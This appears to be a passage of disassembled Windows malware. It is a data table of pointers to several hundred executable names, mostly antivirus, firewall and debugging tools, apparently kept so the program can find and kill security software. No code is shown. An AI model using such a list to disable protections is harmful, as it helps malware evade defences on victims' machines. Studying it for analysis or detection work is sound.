		dd offset aBeagle_exe	; "BEAGLE.EXE"
		dd offset aBelt_exe	; "BELT.EXE"
		dd offset aBidef_exe	; "BIDEF.EXE"
		dd offset aBidserver_exe ; "BIDSERVER.EXE"
		dd offset aBipcp_exe	; "BIPCP.EXE"
		dd offset aBipcpevalsetup ; "BIPCPEVALSETUP.EXE"
		dd offset aBisp_exe	; "BISP.EXE"
		dd offset aBlackd_exe	; "BLACKD.EXE"
		dd offset aBlackice_exe	; "BLACKICE.EXE"
		dd offset aBlss_exe	; "BLSS.EXE"
		dd offset aBootconf_exe	; "BOOTCONF.EXE"
		dd offset aBootwarn_exe	; "BOOTWARN.EXE"
		dd offset aBorg2_exe	; "BORG2.EXE"
		dd offset aBpc_exe	; "BPC.EXE"
		dd offset aBrasil_exe	; "BRASIL.EXE"
		dd offset aBs120_exe	; "BS120.EXE"
		dd offset aBundle_exe	; "BUNDLE.EXE"
		dd offset aBvt_exe	; "BVT.EXE"
		dd offset aCcapp_exe	; "CCAPP.EXE"
		dd offset aCcevtmgr_exe	; "CCEVTMGR.EXE"
		dd offset aCcpxysvc_exe	; "CCPXYSVC.EXE"
		dd offset aCdp_exe	; "CDP.EXE"
		dd offset aCfd_exe	; "CFD.EXE"
		dd offset aCfgwiz_exe	; "CFGWIZ.EXE"
		dd offset aCfiadmin_exe	; "CFIADMIN.EXE"
		dd offset aCfiaudit_exe	; "CFIAUDIT.EXE"
		dd offset aCfiaudit_exe	; "CFIAUDIT.EXE"
		dd offset aCfinet_exe	; "CFINET.EXE"
		dd offset aCfinet32_exe	; "CFINET32.EXE"
		dd offset aClaw95cf_exe	; "CLAW95CF.EXE"
		dd offset aClean_exe	; "CLEAN.EXE"
		dd offset aCleaner_exe	; "CLEANER.EXE"
		dd offset aCleaner3_exe	; "CLEANER3.EXE"
		dd offset aCleanpc_exe	; "CLEANPC.EXE"
		dd offset aClick_exe	; "CLICK.EXE"
		dd offset aCmd32_exe	; "CMD32.EXE"
		dd offset aCmesys_exe	; "CMESYS.EXE"
		dd offset aCmgrdian_exe	; "CMGRDIAN.EXE"
		dd offset aCmon016_exe	; "CMON016.EXE"
		dd offset aConnectionmoni ; "CONNECTIONMONITOR.EXE"
		dd offset aCpd_exe	; "CPD.EXE"
		dd offset aCpf9x206_exe	; "CPF9X206.EXE"
		dd offset aCpfnt206_exe	; "CPFNT206.EXE"
		dd offset aCtrl_exe	; "CTRL.EXE"
		dd offset aCv_exe	; "CV.EXE"
		dd offset aCwnb181_exe	; "CWNB181.EXE"
		dd offset aCwntdwmo_exe	; "CWNTDWMO.EXE"
		dd offset aClaw95_exe	; "Claw95.EXE"
		dd offset aClaw95cf_exe	; "CLAW95CF.EXE"
		dd offset aDatemanager_ex ; "DATEMANAGER.EXE"
		dd offset aDcomx_exe	; "DCOMX.EXE"
		dd offset aDefalert_exe	; "DEFALERT.EXE"
		dd offset aDefscangui_exe ; "DEFSCANGUI.EXE"
		dd offset aDefwatch_exe	; "DEFWATCH.EXE"
		dd offset aDeputy_exe	; "DEPUTY.EXE"
		dd offset aDivx_exe	; "DIVX.EXE"
		dd offset aDllcache_exe	; "DLLCACHE.EXE"
		dd offset aDllreg_exe	; "DLLREG.EXE"
		dd offset aDoors_exe	; "DOORS.EXE"
		dd offset aDpf_exe	; "DPF.EXE"
		dd offset aDpfsetup_exe	; "DPFSETUP.EXE"
		dd offset aDpps2_exe	; "DPPS2.EXE"
		dd offset aDrwatson_exe	; "DRWATSON.EXE"
		dd offset aDrweb32_exe	; "DRWEB32.EXE"
		dd offset aDrwebupw_exe	; "DRWEBUPW.EXE"
		dd offset aDssagent_exe	; "DSSAGENT.EXE"
		dd offset aDvp95_exe	; "DVP95.EXE"
		dd offset aDvp95_0_exe	; "DVP95_0.EXE"
		dd offset aEcengine_exe	; "ECENGINE.EXE"
		dd offset aEfpeadm_exe	; "EFPEADM.EXE"
		dd offset aEmsw_exe	; "EMSW.EXE"
		dd offset aEnt_exe	; "ENT.EXE"
		dd offset aEsafe_exe	; "ESAFE.EXE"
		dd offset aEscanh95_exe	; "ESCANH95.EXE"
		dd offset aEscanhnt_exe	; "ESCANHNT.EXE"
		dd offset aEscanv95_exe	; "ESCANV95.EXE"
		dd offset aEspwatch_exe	; "ESPWATCH.EXE"
		dd offset aEthereal_exe	; "ETHEREAL.EXE"
		dd offset aEtrustcipe_exe ; "ETRUSTCIPE.EXE"
		dd offset aEvpn_exe	; "EVPN.EXE"
		dd offset aExantivirusCne ; "EXANTIVIRUS-CNET.EXE"
		dd offset aExe_avxw_exe	; "EXE.AVXW.EXE"
		dd offset aExpert_exe	; "EXPERT.EXE"
		dd offset aExplore_exe	; "EXPLORE.EXE"
		dd offset aFAgnt95_exe	; "F-AGNT95.EXE"
		dd offset aFProt_exe	; "F-PROT.EXE"
		dd offset aFProt95_exe	; "F-PROT95.EXE"
		dd offset aFStopw_exe	; "F-STOPW.EXE"
		dd offset aFameh32_exe	; "FAMEH32.EXE"
		dd offset aFast_exe	; "FAST.EXE"
		dd offset aFch32_exe	; "FCH32.EXE"
		dd offset aFih32_exe	; "FIH32.EXE"
		dd offset aFindviru_exe	; "FINDVIRU.EXE"
		dd offset aFirewall_exe	; "FIREWALL.EXE"
		dd offset aFlowprotector_ ; "FLOWPROTECTOR.EXE"
		dd offset aFnrb32_exe	; "FNRB32.EXE"
		dd offset aFpWin_exe	; "FP-WIN.EXE"
		dd offset aFpWin_trial_ex ; "FP-WIN_TRIAL.EXE"
		dd offset aFprot_exe	; "FPROT.EXE"
		dd offset aFrw_exe	; "FRW.EXE"
		dd offset aFsaa_exe	; "FSAA.EXE"
		dd offset aFsav_exe	; "FSAV.EXE"
		dd offset aFsav32_exe	; "FSAV32.EXE"
		dd offset aFsav530stbyb_e ; "FSAV530STBYB.EXE"
		dd offset aFsav530wtbyb_e ; "FSAV530WTBYB.EXE"
		dd offset aFsav95_exe	; "FSAV95.EXE"
		dd offset aFsgk32_exe	; "FSGK32.EXE"
		dd offset aFsm32_exe	; "FSM32.EXE"
		dd offset aFsma32_exe	; "FSMA32.EXE"
		dd offset aFsmb32_exe	; "FSMB32.EXE"
		dd offset aGator_exe	; "GATOR.EXE"
		dd offset aGbmenu_exe	; "GBMENU.EXE"
		dd offset aGbpoll_exe	; "GBPOLL.EXE"
		dd offset aGenerics_exe	; "GENERICS.EXE"
		dd offset aGmt_exe	; "GMT.EXE"
		dd offset aGuard_exe	; "GUARD.EXE"
		dd offset aGuarddog_exe	; "GUARDDOG.EXE"
		dd offset aHacktracersetu ; "HACKTRACERSETUP.EXE"
		dd offset aHbinst_exe	; "HBINST.EXE"
		dd offset aHbsrv_exe	; "HBSRV.EXE"
		dd offset aHotactio_exe	; "HOTACTIO.EXE"
		dd offset aHotpatch_exe	; "HOTPATCH.EXE"
		dd offset aHtlog_exe	; "HTLOG.EXE"
		dd offset aHtpatch_exe	; "HTPATCH.EXE"
		dd offset aHwpe_exe	; "HWPE.EXE"
		dd offset aHxdl_exe	; "HXDL.EXE"
		dd offset aHxiul_exe	; "HXIUL.EXE"
		dd offset aIamapp_exe	; "IAMAPP.EXE"
		dd offset aIamserv_exe	; "IAMSERV.EXE"
		dd offset aIamstats_exe	; "IAMSTATS.EXE"
		dd offset aIbmasn_exe	; "IBMASN.EXE"
		dd offset aIbmavsp_exe	; "IBMAVSP.EXE"
		dd offset aIcload95_exe	; "ICLOAD95.EXE"
		dd offset aIcloadnt_exe	; "ICLOADNT.EXE"
		dd offset aIcmon_exe	; "ICMON.EXE"
		dd offset aIcsupp95_exe	; "ICSUPP95.EXE"
		dd offset aIcsupp95_exe	; "ICSUPP95.EXE"
		dd offset aIcsuppnt_exe	; "ICSUPPNT.EXE"
		dd offset aIdle_exe	; "IDLE.EXE"
		dd offset aIedll_exe	; "IEDLL.EXE"
		dd offset aIedriver_exe	; "IEDRIVER.EXE"
		dd offset aIexplorer_exe ; "IEXPLORER.EXE"
		dd offset aIface_exe	; "IFACE.EXE"
		dd offset aIfw2000_exe	; "IFW2000.EXE"
		dd offset aInetlnfo_exe	; "INETLNFO.EXE"
		dd offset aInfus_exe	; "INFUS.EXE"
		dd offset aInfwin_exe	; "INFWIN.EXE"
		dd offset aInit_exe	; "INIT.EXE"
		dd offset aIntdel_exe	; "INTDEL.EXE"
		dd offset aIntren_exe	; "INTREN.EXE"
		dd offset aIomon98_exe	; "IOMON98.EXE"
		dd offset aIparmor_exe	; "IPARMOR.EXE"
		dd offset aIris_exe	; "IRIS.EXE"
		dd offset aIsass_exe	; "ISASS.EXE"
		dd offset aIsrv95_exe	; "ISRV95.EXE"
		dd offset aIstsvc_exe	; "ISTSVC.EXE"
		dd offset aJammer_exe	; "JAMMER.EXE"
		dd offset aJdbgmrg_exe	; "JDBGMRG.EXE"
		dd offset aJedi_exe	; "JEDI.EXE"
		dd offset aKavlite40eng_e ; "KAVLITE40ENG.EXE"
		dd offset aKavpers40eng_e ; "KAVPERS40ENG.EXE"
		dd offset aKavpf_exe	; "KAVPF.EXE"
		dd offset aKazza_exe	; "KAZZA.EXE"
		dd offset aKeenvalue_exe ; "KEENVALUE.EXE"
		dd offset aKerioPf213EnWi ; "KERIO-PF-213-EN-WIN.EXE"
		dd offset aKerioWrl421EnW ; "KERIO-WRL-421-EN-WIN.EXE"
		dd offset aKerioWrp421EnW ; "KERIO-WRP-421-EN-WIN.EXE"
		dd offset aKernel32_exe	; "KERNEL32.EXE"
		dd offset aKillprocessset ; "KILLPROCESSSETUP161.EXE"
		dd offset aLauncher_exe	; "LAUNCHER.EXE"
		dd offset aLdnetmon_exe	; "LDNETMON.EXE"
		dd offset aLdpro_exe	; "LDPRO.EXE"
		dd offset aLdpromenu_exe ; "LDPROMENU.EXE"
		dd offset aLdscan_exe	; "LDSCAN.EXE"
		dd offset aLnetinfo_exe	; "LNETINFO.EXE"
		dd offset aLoader_exe	; "LOADER.EXE"
		dd offset aLocalnet_exe	; "LOCALNET.EXE"
		dd offset aLockdown_exe	; "LOCKDOWN.EXE"
		dd offset aLockdown2000_e ; "LOCKDOWN2000.EXE"
		dd offset aLookout_exe	; "LOOKOUT.EXE"
		dd offset aLordpe_exe	; "LORDPE.EXE"
		dd offset aLsetup_exe	; "LSETUP.EXE"
		dd offset aLuall_exe	; "LUALL.EXE"
		dd offset aLuall_exe	; "LUALL.EXE"
		dd offset aLuau_exe	; "LUAU.EXE"
		dd offset aLucomserver_ex ; "LUCOMSERVER.EXE"
		dd offset aLuinit_exe	; "LUINIT.EXE"
		dd offset aLuspt_exe	; "LUSPT.EXE"
		dd offset aMapisvc32_exe ; "MAPISVC32.EXE"
		dd offset aMcagent_exe	; "MCAGENT.EXE"
		dd offset aMcmnhdlr_exe	; "MCMNHDLR.EXE"
		dd offset aMcshield_exe	; "MCSHIELD.EXE"
		dd offset aMctool_exe	; "MCTOOL.EXE"
		dd offset aMcupdate_exe	; "MCUPDATE.EXE"
		dd offset aMcupdate_exe	; "MCUPDATE.EXE"
		dd offset aMcvsrte_exe	; "MCVSRTE.EXE"
		dd offset aMcvsshld_exe	; "MCVSSHLD.EXE"
		dd offset aMd_exe	; "MD.EXE"
		dd offset aMfin32_exe	; "MFIN32.EXE"
		dd offset aMfw2en_exe	; "MFW2EN.EXE"
		dd offset aMfweng3_02d30_ ; "MFWENG3.02D30.EXE"
		dd offset aMgavrtcl_exe	; "MGAVRTCL.EXE"
		dd offset aMgavrte_exe	; "MGAVRTE.EXE"
		dd offset aMghtml_exe	; "MGHTML.EXE"
		dd offset aMgui_exe	; "MGUI.EXE"
		dd offset aMinilog_exe	; "MINILOG.EXE"
		dd offset aMmod_exe	; "MMOD.EXE"
		dd offset aMonitor_exe	; "MONITOR.EXE"
		dd offset aMoolive_exe	; "MOOLIVE.EXE"
		dd offset aMostat_exe	; "MOSTAT.EXE"
		dd offset aMpfagent_exe	; "MPFAGENT.EXE"
		dd offset aMpfservice_exe ; "MPFSERVICE.EXE"
		dd offset aMpftray_exe	; "MPFTRAY.EXE"
		dd offset aMrflux_exe	; "MRFLUX.EXE"
		dd offset aMsapp_exe	; "MSAPP.EXE"
		dd offset aMsbb_exe	; "MSBB.EXE"
		dd offset aMsblast_exe	; "MSBLAST.EXE"
		dd offset aMscache_exe	; "MSCACHE.EXE"
		dd offset aMsccn32_exe	; "MSCCN32.EXE"
		dd offset aMscman_exe	; "MSCMAN.EXE"
		dd offset aMsconfig_exe	; "MSCONFIG.EXE"
		dd offset aMsdm_exe	; "MSDM.EXE"
		dd offset aMsdos_exe	; "MSDOS.EXE"
		dd offset aMsiexec16_exe ; "MSIEXEC16.EXE"
		dd offset aMsinfo32_exe	; "MSINFO32.EXE"
		dd offset aMslaugh_exe	; "MSLAUGH.EXE"
		dd offset aMsmgt_exe	; "MSMGT.EXE"
		dd offset aMsmsgri32_exe ; "MSMSGRI32.EXE"
		dd offset aMssmmc32_exe	; "MSSMMC32.EXE"
		dd offset aMssys_exe	; "MSSYS.EXE"
		dd offset aMsvxd_exe	; "MSVXD.EXE"
		dd offset aMu0311ad_exe	; "MU0311AD.EXE"
		dd offset aMwatch_exe	; "MWATCH.EXE"
		dd offset aN32scanw_exe	; "N32SCANW.EXE"
		dd offset aNav_exe	; "NAV.EXE"
		dd offset aAutoProtect_na ; "AUTO-PROTECT.NAV80TRY.EXE"
		dd offset aNavap_navapsvc ; "NAVAP.NAVAPSVC.EXE"
		dd offset aNavapsvc_exe	; "NAVAPSVC.EXE"
		dd offset aNavapw32_exe	; "NAVAPW32.EXE"
		dd offset aNavdx_exe	; "NAVDX.EXE"
		dd offset aNavengnavex15_ ; "NAVENGNAVEX15.NAVLU32.EXE"
		dd offset aNavlu32_exe	; "NAVLU32.EXE"
		dd offset aNavnt_exe	; "NAVNT.EXE"
		dd offset aNavstub_exe	; "NAVSTUB.EXE"
		dd offset aNavw32_exe	; "NAVW32.EXE"
		dd offset aNavwnt_exe	; "NAVWNT.EXE"
		dd offset aNc2000_exe	; "NC2000.EXE"
		dd offset aNcinst4_exe	; "NCINST4.EXE"
		dd offset aNdd32_exe	; "NDD32.EXE"
		dd offset aNeomonitor_exe ; "NEOMONITOR.EXE"
		dd offset aNeowatchlog_ex ; "NEOWATCHLOG.EXE"
		dd offset aNetarmor_exe	; "NETARMOR.EXE"
		dd offset aNetd32_exe	; "NETD32.EXE"
		dd offset aNetinfo_exe	; "NETINFO.EXE"
		dd offset aNetmon_exe	; "NETMON.EXE"
		dd offset aNetscanpro_exe ; "NETSCANPRO.EXE"
		dd offset aNetspyhunter1_ ; "NETSPYHUNTER-1.2.EXE"
		dd offset aNetstat_exe	; "NETSTAT.EXE"
		dd offset aNetutils_exe	; "NETUTILS.EXE"
		dd offset aNisserv_exe	; "NISSERV.EXE"
		dd offset aNisum_exe	; "NISUM.EXE"
		dd offset aNmain_exe	; "NMAIN.EXE"
		dd offset aNod32_exe	; "NOD32.EXE"
		dd offset aNormist_exe	; "NORMIST.EXE"
		dd offset aNorton_interne ; "NORTON_INTERNET_SECU_3.0_407.EXE"
		dd offset aNotstart_exe	; "NOTSTART.EXE"
		dd offset aNpf40_tw_98_nt ; "NPF40_TW_98_NT_ME_2K.EXE"
		dd offset aNpfmessenger_e ; "NPFMESSENGER.EXE"
		dd offset aNprotect_exe	; "NPROTECT.EXE"
		dd offset aNpscheck_exe	; "NPSCHECK.EXE"
		dd offset aNpssvc_exe	; "NPSSVC.EXE"
		dd offset aNsched32_exe	; "NSCHED32.EXE"
		dd offset aNssys32_exe	; "NSSYS32.EXE"
		dd offset aNstask32_exe	; "NSTASK32.EXE"
		dd offset aNsupdate_exe	; "NSUPDATE.EXE"
		dd offset aNt_exe	; "NT.EXE"
		dd offset aNtrtscan_exe	; "NTRTSCAN.EXE"
		dd offset aNtvdm_exe	; "NTVDM.EXE"
		dd offset aNtxconfig_exe ; "NTXconfig.EXE"
		dd offset aNui_exe	; "NUI.EXE"
		dd offset aNupgrade_exe	; "NUPGRADE.EXE"
		dd offset aNupgrade_exe	; "NUPGRADE.EXE"
		dd offset aNvarch16_exe	; "NVARCH16.EXE"
		dd offset aNvc95_exe	; "NVC95.EXE"
		dd offset aNvsvc32_exe	; "NVSVC32.EXE"
		dd offset aNwinst4_exe	; "NWINST4.EXE"
		dd offset aNwservice_exe ; "NWSERVICE.EXE"
		dd offset aNwtool16_exe	; "NWTOOL16.EXE"
		dd offset aOllydbg_exe	; "OLLYDBG.EXE"
		dd offset aOnsrvr_exe	; "ONSRVR.EXE"
		dd offset aOptimize_exe	; "OPTIMIZE.EXE"
		dd offset aOstronet_exe	; "OSTRONET.EXE"
		dd offset aOtfix_exe	; "OTFIX.EXE"
		dd offset aOutpost_exe	; "OUTPOST.EXE"
		dd offset aOutpost_exe	; "OUTPOST.EXE"
		dd offset aOutpostinstall ; "OUTPOSTINSTALL.EXE"
		dd offset aOutpostproinst ; "OUTPOSTPROINSTALL.EXE"
		dd offset aPadmin_exe	; "PADMIN.EXE"
		dd offset aPanixk_exe	; "PANIXK.EXE"
		dd offset aPatch_exe	; "PATCH.EXE"
		dd offset aPavcl_exe	; "PAVCL.EXE"
		dd offset aPavproxy_exe	; "PAVPROXY.EXE"
		dd offset aPavsched_exe	; "PAVSCHED.EXE"
		dd offset aPavw_exe	; "PAVW.EXE"
		dd offset aPcc2002s902_ex ; "PCC2002S902.EXE"
		dd offset aPcc2k_76_1436_ ; "PCC2K_76_1436.EXE"
		dd offset aPcciomon_exe	; "PCCIOMON.EXE"
		dd offset aPccntmon_exe	; "PCCNTMON.EXE"
		dd offset aPccwin97_exe	; "PCCWIN97.EXE"
		dd offset aPccwin98_exe	; "PCCWIN98.EXE"
		dd offset aPcdsetup_exe	; "PCDSETUP.EXE"
		dd offset aPcfwallicon_ex ; "PCFWALLICON.EXE"
		dd offset aPcip10117_0_ex ; "PCIP10117_0.EXE"
		dd offset aPcscan_exe	; "PCSCAN.EXE"
		dd offset aPdsetup_exe	; "PDSETUP.EXE"
		dd offset aPenis_exe	; "PENIS.EXE"
		dd offset aPeriscope_exe ; "PERISCOPE.EXE"
		dd offset aPersfw_exe	; "PERSFW.EXE"
		dd offset aPerswf_exe	; "PERSWF.EXE"
		dd offset aPf2_exe	; "PF2.EXE"
		dd offset aPfwadmin_exe	; "PFWADMIN.EXE"
		dd offset aPgmonitr_exe	; "PGMONITR.EXE"
		dd offset aPingscan_exe	; "PINGSCAN.EXE"
		dd offset aPlatin_exe	; "PLATIN.EXE"
		dd offset aPop3trap_exe	; "POP3TRAP.EXE"
		dd offset aPoproxy_exe	; "POPROXY.EXE"
		dd offset aPopscan_exe	; "POPSCAN.EXE"
		dd offset aPortdetective_ ; "PORTDETECTIVE.EXE"
		dd offset aPortmonitor_ex ; "PORTMONITOR.EXE"
		dd offset aPowerscan_exe ; "POWERSCAN.EXE"
		dd offset aPpinupdt_exe	; "PPINUPDT.EXE"
		dd offset aPptbc_exe	; "PPTBC.EXE"
		dd offset aPpvstop_exe	; "PPVSTOP.EXE"
		dd offset aPrizesurfer_ex ; "PRIZESURFER.EXE"
		dd offset aPrmt_exe	; "PRMT.EXE"
		dd offset aPrmvr_exe	; "PRMVR.EXE"
		dd offset aProcdump_exe	; "PROCDUMP.EXE"
		dd offset aProcessmonitor ; "PROCESSMONITOR.EXE"
		dd offset aProcexplorerv1 ; "PROCEXPLORERV1.0.EXE"
		dd offset aProgramauditor ; "PROGRAMAUDITOR.EXE"
		dd offset aProport_exe	; "PROPORT.EXE"
		dd offset aProtectx_exe	; "PROTECTX.EXE"
		dd offset aPspf_exe	; "PSPF.EXE"
		dd offset aPurge_exe	; "PURGE.EXE"
		dd offset aPussy_exe	; "PUSSY.EXE"
		dd offset aPview95_exe	; "PVIEW95.EXE"
		dd offset aQconsole_exe	; "QCONSOLE.EXE"
		dd offset aQserver_exe	; "QSERVER.EXE"
		dd offset aRapapp_exe	; "RAPAPP.EXE"
		dd offset aRav7_exe	; "RAV7.EXE"
		dd offset aRav7win_exe	; "RAV7WIN.EXE"
		dd offset aRav8win32eng_e ; "RAV8WIN32ENG.EXE"
		dd offset aRay_exe	; "RAY.EXE"
		dd offset aRb32_exe	; "RB32.EXE"
		dd offset aRcsync_exe	; "RCSYNC.EXE"
		dd offset aRealmon_exe	; "REALMON.EXE"
		dd offset aReged_exe	; "REGED.EXE"
		dd offset aRegedit_exe	; "REGEDIT.EXE"
		dd offset aRegedt32_exe	; "REGEDT32.EXE"
		dd offset aRescue_exe	; "RESCUE.EXE"
		dd offset aRescue32_exe	; "RESCUE32.EXE"
		dd offset aRrguard_exe	; "RRGUARD.EXE"
		dd offset aRshell_exe	; "RSHELL.EXE"
		dd offset aRtvscan_exe	; "RTVSCAN.EXE"
		dd offset aRtvscn95_exe	; "RTVSCN95.EXE"
		dd offset aRulaunch_exe	; "RULAUNCH.EXE"
		dd offset aRun32dll_exe	; "RUN32DLL.EXE"
		dd offset aRundll_exe	; "RUNDLL.EXE"
		dd offset aRundll16_exe	; "RUNDLL16.EXE"
		dd offset aRuxdll32_exe	; "RUXDLL32.EXE"
		dd offset aSafeweb_exe	; "SAFEWEB.EXE"
		dd offset aSahagent_exe	; "SAHAGENT.EXE"
		dd offset aSave_exe	; "SAVE.EXE"
		dd offset aSavenow_exe	; "SAVENOW.EXE"
		dd offset aSbserv_exe	; "SBSERV.EXE"
		dd offset aSc_exe	; "SC.EXE"
		dd offset aScam32_exe	; "SCAM32.EXE"
		dd offset aScan32_exe	; "SCAN32.EXE"
		dd offset aScan95_exe	; "SCAN95.EXE"
		dd offset aScanpm_exe	; "SCANPM.EXE"
		dd offset aScrscan_exe	; "SCRSCAN.EXE"
		dd offset aScrsvr_exe	; "SCRSVR.EXE"
		dd offset aScvhost_exe	; "SCVHOST.EXE"
		dd offset aSd_exe	; "SD.EXE"
		dd offset aServ95_exe	; "SERV95.EXE"
		dd offset aService_exe	; "SERVICE.EXE"
		dd offset aServlce_exe	; "SERVLCE.EXE"
		dd offset aServlces_exe	; "SERVLCES.EXE"
		dd offset aSetupvameeval_ ; "SETUPVAMEEVAL.EXE"
		dd offset aSetup_flowprot ; "SETUP_FLOWPROTECTOR_US.EXE"
		dd offset aSfc_exe	; "SFC.EXE"
		dd offset aSgssfw32_exe	; "SGSSFW32.EXE"
		dd offset aSh_exe	; "SH.EXE"
		dd offset aShellspyinstal ; "SHELLSPYINSTALL.EXE"
		dd offset aShn_exe	; "SHN.EXE"
		dd offset aShowbehind_exe ; "SHOWBEHIND.EXE"
		dd offset aSmc_exe	; "SMC.EXE"
		dd offset aSms_exe	; "SMS.EXE"
		dd offset aSmss32_exe	; "SMSS32.EXE"
		dd offset aSoap_exe	; "SOAP.EXE"
		dd offset aSofi_exe	; "SOFI.EXE"
		dd offset aSperm_exe	; "SPERM.EXE"
		dd offset aSpf_exe	; "SPF.EXE"
		dd offset aSphinx_exe	; "SPHINX.EXE"
		dd offset aSpoler_exe	; "SPOLER.EXE"
		dd offset aSpoolcv_exe	; "SPOOLCV.EXE"
		dd offset aSpoolsv32_exe ; "SPOOLSV32.EXE"
		dd offset aSpyxx_exe	; "SPYXX.EXE"
		dd offset aSrexe_exe	; "SREXE.EXE"
		dd offset aSrng_exe	; "SRNG.EXE"
		dd offset aSs3edit_exe	; "SS3EDIT.EXE"
		dd offset aSsgrate_exe	; "SSGRATE.EXE"
		dd offset aSsg_4104_exe	; "SSG_4104.EXE"
		dd offset aSt2_exe	; "ST2.EXE"
		dd offset aStart_exe	; "START.EXE"
		dd offset aStcloader_exe ; "STCLOADER.EXE"
		dd offset aSupftrl_exe	; "SUPFTRL.EXE"
		dd offset aSupport_exe	; "SUPPORT.EXE"
		dd offset aSupporter5_exe ; "SUPPORTER5.EXE"
		dd offset aSvc_exe	; "SVC.EXE"
		dd offset aSvchostc_exe	; "SVCHOSTC.EXE"
		dd offset aSvchosts_exe	; "SVCHOSTS.EXE"
		dd offset aSvshost_exe	; "SVSHOST.EXE"
		dd offset aSweep95_exe	; "SWEEP95.EXE"
		dd offset aSweepnet_sweep ; "SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE"
		dd offset aSymproxysvc_ex ; "SYMPROXYSVC.EXE"
		dd offset aSymtray_exe	; "SYMTRAY.EXE"
		dd offset aSysedit_exe	; "SYSEDIT.EXE"
		dd offset aSystem_exe	; "SYSTEM.EXE"
		dd offset aSystem32_exe	; "SYSTEM32.EXE"
		dd offset aSysupd_exe	; "SYSUPD.EXE"
		dd offset aTaskmg_exe	; "TASKMG.EXE"
		dd offset aTaskmo_exe	; "TASKMO.EXE"
		dd offset aTaskmon_exe	; "TASKMON.EXE"
		dd offset aTaumon_exe	; "TAUMON.EXE"
		dd offset aTbscan_exe	; "TBSCAN.EXE"
		dd offset aTc_exe	; "TC.EXE"
		dd offset aTca_exe	; "TCA.EXE"
		dd offset aTcm_exe	; "TCM.EXE"
		dd offset aTds3_exe	; "TDS-3.EXE"
		dd offset aTds298_exe	; "TDS2-98.EXE"
		dd offset aTds2Nt_exe	; "TDS2-NT.EXE"
		dd offset aTeekids_exe	; "TEEKIDS.EXE"
		dd offset aTfak_exe	; "TFAK.EXE"
		dd offset aTfak5_exe	; "TFAK5.EXE"
		dd offset aTgbob_exe	; "TGBOB.EXE"
		dd offset aTitanin_exe	; "TITANIN.EXE"
		dd offset aTitaninxp_exe ; "TITANINXP.EXE"
		dd offset aTracert_exe	; "TRACERT.EXE"
		dd offset aTrickler_exe	; "TRICKLER.EXE"
		dd offset aTrjscan_exe	; "TRJSCAN.EXE"
		dd offset aTrjsetup_exe	; "TRJSETUP.EXE"
		dd offset aTrojantrap3_ex ; "TROJANTRAP3.EXE"
		dd offset aTsadbot_exe	; "TSADBOT.EXE"
		dd offset aTvmd_exe	; "TVMD.EXE"
		dd offset aTvtmd_exe	; "TVTMD.EXE"
		dd offset aUndoboot_exe	; "UNDOBOOT.EXE"
		dd offset aUpdat_exe	; "UPDAT.EXE"
		dd offset aUpdate_exe	; "UPDATE.EXE"
		dd offset aUpdate_exe	; "UPDATE.EXE"
		dd offset aUpgrad_exe	; "UPGRAD.EXE"
		dd offset aUtpost_exe	; "UTPOST.EXE"
		dd offset aVbcmserv_exe	; "VBCMSERV.EXE"
		dd offset aVbcons_exe	; "VBCONS.EXE"
		dd offset aVbust_exe	; "VBUST.EXE"
		dd offset aVbwin9x_exe	; "VBWIN9X.EXE"
		dd offset aVbwinntw_exe	; "VBWINNTW.EXE"
		dd offset aVcsetup_exe	; "VCSETUP.EXE"
		dd offset aVet32_exe	; "VET32.EXE"
		dd offset aVet95_exe	; "VET95.EXE"
		dd offset aVettray_exe	; "VETTRAY.EXE"
		dd offset aVfsetup_exe	; "VFSETUP.EXE"
		dd offset aVirHelp_exe	; "VIR-HELP.EXE"
		dd offset aVirusmdpersona ; "VIRUSMDPERSONALFIREWALL.EXE"
		dd offset aVnlan300_exe	; "VNLAN300.EXE"
		dd offset aVnpc3000_exe	; "VNPC3000.EXE"
		dd offset aVpc32_exe	; "VPC32.EXE"
		dd offset aVpc42_exe	; "VPC42.EXE"
		dd offset aVpfw30s_exe	; "VPFW30S.EXE"
		dd offset aVptray_exe	; "VPTRAY.EXE"
		dd offset aVscan40_exe	; "VSCAN40.EXE"
		dd offset aVscenu6_02d30_ ; "VSCENU6.02D30.EXE"
		dd offset aVsched_exe	; "VSCHED.EXE"
		dd offset aVsecomr_exe	; "VSECOMR.EXE"
		dd offset aVshwin32_exe	; "VSHWIN32.EXE"
		dd offset aVsisetup_exe	; "VSISETUP.EXE"
		dd offset aVsmain_exe	; "VSMAIN.EXE"
		dd offset aVsmon_exe	; "VSMON.EXE"
		dd offset aVsstat_exe	; "VSSTAT.EXE"
		dd offset aVswin9xe_exe	; "VSWIN9XE.EXE"
		dd offset aVswinntse_exe ; "VSWINNTSE.EXE"
		dd offset aVswinperse_exe ; "VSWINPERSE.EXE"
		dd offset aW32dsm89_exe	; "W32DSM89.EXE"
		dd offset aW9x_exe	; "W9X.EXE"
		dd offset aWatchdog_exe	; "WATCHDOG.EXE"
		dd offset aWebdav_exe	; "WEBDAV.EXE"
		dd offset aWebscanx_exe	; "WEBSCANX.EXE"
		dd offset aWebtrap_exe	; "WEBTRAP.EXE"
		dd offset aWfindv32_exe	; "WFINDV32.EXE"
		dd offset aWgfe95_exe	; "WGFE95.EXE"
		dd offset aWhoswatchingme ; "WHOSWATCHINGME.EXE"
		dd offset aWimmun32_exe	; "WIMMUN32.EXE"
		dd offset aWinBugsfix_exe ; "WIN-BUGSFIX.EXE"
		dd offset aWin32_exe	; "WIN32.EXE"
		dd offset aWin32us_exe	; "WIN32US.EXE"
		dd offset aWinactive_exe ; "WINACTIVE.EXE"
		dd offset aWindow_exe	; "WINDOW.EXE"
		dd offset aWindows_exe	; "WINDOWS.EXE"
		dd offset aWininetd_exe	; "WININETD.EXE"
		dd offset aWininit_exe	; "WININIT.EXE"
		dd offset aWininitx_exe	; "WININITX.EXE"
		dd offset aWinlogin_exe	; "WINLOGIN.EXE"
		dd offset aWinmain_exe	; "WINMAIN.EXE"
		dd offset aWinnet_exe	; "WINNET.EXE"
		dd offset aWinppr32_exe	; "WINPPR32.EXE"
		dd offset aWinrecon_exe	; "WINRECON.EXE"
		dd offset aWinservn_exe	; "WINSERVN.EXE"
		dd offset aWinssk32_exe	; "WINSSK32.EXE"
		dd offset aWinstart_exe	; "WINSTART.EXE"
		dd offset aWinstart001_ex ; "WINSTART001.EXE"
		dd offset aWintsk32_exe	; "WINTSK32.EXE"
		dd offset aWinupdate_exe ; "WINUPDATE.EXE"
		dd offset aWkufind_exe	; "WKUFIND.EXE"
		dd offset aWnad_exe	; "WNAD.EXE"
		dd offset aWnt_exe	; "WNT.EXE"
